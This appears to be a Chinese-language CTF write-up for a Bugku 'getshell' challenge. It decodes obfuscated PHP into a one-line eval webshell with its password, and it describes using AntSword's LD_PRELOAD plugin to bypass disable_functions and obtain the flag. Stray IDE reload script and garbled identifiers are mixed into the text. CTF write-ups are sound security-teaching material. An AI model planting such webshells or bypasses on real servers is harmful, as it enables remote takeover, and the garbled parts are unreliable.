echo ('?>'.$HbXdtGUkeEDlRgpwsarfnVYoTSKIcPvhCWjBizQLZxFMuymANqJO($IoceCnqVKOFkrlRjUPEdNhAuSMJBzmGvTLytisgpZYbQXHfDwWxa($DcbyPNpYSKuECvekIVZlOQFTMwgXinAfaoHdzqhGWRrLsmJBjUtx($HfuSgMBOxhovrtnmYzkUGFEZsiDXyJIlbKCWjpVLPTwcqeaNARdQ,$kcwKbSghWizYEuAGDOTFaHXQRtnLyBlJpCImejsrNvZqPUVxfMdo*2),$DcbyPNpYSKuECvekIVZlOQFTMwgXinAfaoHdzqhGWRrLsmJBjUtx($HfuSgMBOxhovrtnmYzkUGFEZsiDXyJIlbKCWjpVLPTwcqeaNARdQ,$kcwKbSghWizYEuAGDOTFaHXQRtnLyBlJpCImejsrNvZqPUVxfMdo,$kcwKbSghWizYEuAGDOTFaHXQRtnLyBlJpCImejsrNvZqPUVxfMdo),$DcbyPNpYSKuECvekIVZlOQFTMwgXinAfaoHdzqhGWRrLsmJBjUtx($HfuSgMBOxhovrtnmYzkUGFEZsiDXyJIlbKCWjpVLPTwcqeaNARdQ,0,$kcwKbSghWizYEuAGDOTFaHXQRtnLyBlJpCImejsrNvZqPUVxfMdo))));

image-20241218195814-bdt6sbh

image-20241218200542-ewbqwh0

?><?php ?>?><?php
highlight_file(njVysBZvxrLkFYdNofcgGuawDJblpOSQEHRUmKiAhzICetPMqXWT);
@eval($_POST[ymlisisisiook]);<script>
(function() {
  var ws = new WebSocket('ws://' + window.location.host + 
             '/jb-server-page?reloadMode=RELOAD_ON_SAVE&'+
             'referrer=' + encodeURIComponent(window.location.pathname));
  ws.onmessage = function (msg) {
      if (msg.data === 'reload') {
          window.location.reload();
      }
      if (msg.data.startsWith('update-css ')) {
          var messageId = msg.data.substring(11);
          var links = document.getElementsByTagName('link');
          for (var i = 0; i < links.length; i++) {
              var link = links[i];
              if (link.rel !== 'stylesheet') continue;
              var clonedLink = link.cloneNode(true);
              var newHref = link.href.replace(/(&|\?)jbUpdateLinksId=\d+/, "$1jbUpdateLinksId=" + messageId);
              if (newHref !== link.href) {
                clonedLink.href = newHref;
              }
              else {
                var indexOfQuest = newHref.indexOf('?');
                if (indexOfQuest >= 0) {
                  // to support ?foo#hash 
                  clonedLink.href = newHref.substring(0, indexOfQuest + 1) + 'jbUpdateLinksId=' + messageId + '&' + 
                                    newHref.substring(indexOfQuest + 1);
                }
                else {
                  clonedLink.href += '?' + 'jbUpdateLinksId=' + messageId;
                }
              }
              link.replaceWith(clonedLink);
          }
      }
  };
})();
</script>

可以发现这是我们想要的源码，一句话木马，密码是 ymlisisisiook

<?php
highlight_file(njVysBZvxrLkFYdNofcgGuawDJblpOSQEHRUmKiAhzICetPMqXWT);
@eval($_POST[ymlisisisiook]);
?>

可以发现我们命令执行没反应，那我们先看看 phpinfo

image-20241218200734-smw7v5m

可以发现这里禁用了好多函数，上面那个 system 也被禁了。我们可以利用蚁剑的一个插件绕过，disable\_functions

image-20241218201056-9kvxj57

直接使用蚁剑连接，现在是无法命令执行的

image-20241218201456-3tfx80j

然后选择插件

image-20241218201337-9bt4w6n

选择 LD_PRELOAD 模式，点击开始，可以看到代理脚本`.antproxy.php`上传成功

image-20241218201636-egbukpm

然后可以看到，目录下多了一个.antproxy.php，我们直接访问 url/.antproxy.php

image-20241218201845-89kx9wk

然后就可以直接命令执行了，这一步也可以继续使用蚁剑进行连接，密码还是上面的 ymlisisisiook

image-20241218202100-pa0zvxe

image-20241218202232-plgjg9a

flag：flag{5710bb9cd7a8717e5ceeb54c65529606}

标签：getshell,Bugku,szecmYuarlxFUIWyobtfnLNJQTCDvPkVSGHgEZiXhOMKwpBdAjqR,kcwKbSghWizY
From： https://www.cnblogs.com/lpppp/p/18615823

相关文章

赞助商

阅读排行